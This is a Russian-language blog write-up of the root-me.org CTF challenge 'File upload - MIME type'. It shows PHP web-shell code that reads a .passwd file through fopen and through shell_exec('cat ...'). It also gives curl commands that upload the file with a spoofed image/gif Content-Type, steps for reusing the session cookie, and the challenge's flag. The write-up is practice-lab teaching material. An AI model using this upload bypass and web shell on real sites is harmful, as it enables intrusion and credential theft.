Перейти к основному содержанию

CTF — File upload - MIME type

CTF

Продолжаем решать задачки по информационной безопасности web-серверов. Сегодня задачка с портала root-me.org, называется "File upload - MIME type". За решение задачки дают 20 баллов, сложнее начального уровня.

ctf

В качестве задания предлагается взломать фотогалерею (снова), загрузив код PHP. Флаг следует искать в корневом файле .passwd.

Нам предлагают воспользоваться уязвимостью при загрузке файлов, связанной с проверкой типа файла. Сложно, конечно, это назвать уязвимостью. Проверка MIME типа для того, чтобы определить тип загружаемого файла, не подходит для безопасной загрузки. Дело в том, что MIME тип определяется по полю Content-Type, которое злоумышленник может подменить на стороне браузера и передать серверу.

Ссылки

https://www.root-me.org

Решение

Переходим на страницу задания:

http://challenge01.root-me.org/web-serveur/ch21/

ctf

Мы видим фотогалерею. Интересен раздел upload. Здесь можно загрузить свой файл.

ctf

Естественно, загрузить файл с расширением PHP не удастся. Разрешены расширения GIF, JPEG и PNG.

ctf

Подготовим PHP файл, который будем загружать в фотогалерею. В прошлом задании была похожая задача, так что файл у меня есть:

CTF — File upload - Double extensions

Внутри файла разместим PHP код, который нам выведет содержимое файла .passwd, например:

<?php
$filename = '../../../.passwd';
$handle = fopen($filename, "rb");
$contents = fread($handle, filesize($filename));
fclose($handle);
echo "<b>$contents</b>";
?>

Или:

<?php
$output = shell_exec('cat ../../../.passwd');
echo "<b>$output</b>";
?>

Я вставил оба кода, какой-нибудь да сработает.

ctf

Файл сохранил как hello.php.

ctf

И разместил в директории C:\root-me.

ctf

Далее буду работать в командной строке. Пробую загрузить PHP файл в галерею с помощью curl:

curl -i -X POST -F file=@C:/root-me/hello.php http://challenge01.root-me.org/web-serveur/ch21/?action=upload

ctf

В ответ получаю "Wrong file type !". Файл не загружается. Теперь минимальным дополнением к команде меняю MIME тип загружаемого файла на image/gif:

curl -i -X POST -F file="@C:/root-me/hello.php;type=image/gif;" http://challenge01.root-me.org/web-serveur/ch21/?action=upload

ctf

О чудо! Файл загрузился. Копирую значение PHPSESSID и возвращаюсь в браузер.

ctf

Загруженного файла нет. Подставляю в cookie скопированное значение PHPSESSID, чтобы подцепить сессию curl:

ctf

Смотрю в галерею снова.

ctf

А вот и файл hello.php. Открываю его.

ctf

Скрипт вывел содержимое файла .passwd.

Флаг: a7n4nizpgQgnPERy89uanf6T4

Валидируем.

ctf

Флаг подходит, зарабатываем 20 очков.

Безопасность

Определять тип загружаемого файла по MIME type нельзя, это небезопасно.

Теги

 

Похожие материалы

CTF — install files

Продолжаем решать задачки по информационной безопасности web-серверов. Сегодня задачка с портала root-me.org, называется "Install files". За решение задачки дают 15 баллов, чуть посложнее начального уровня.

Теги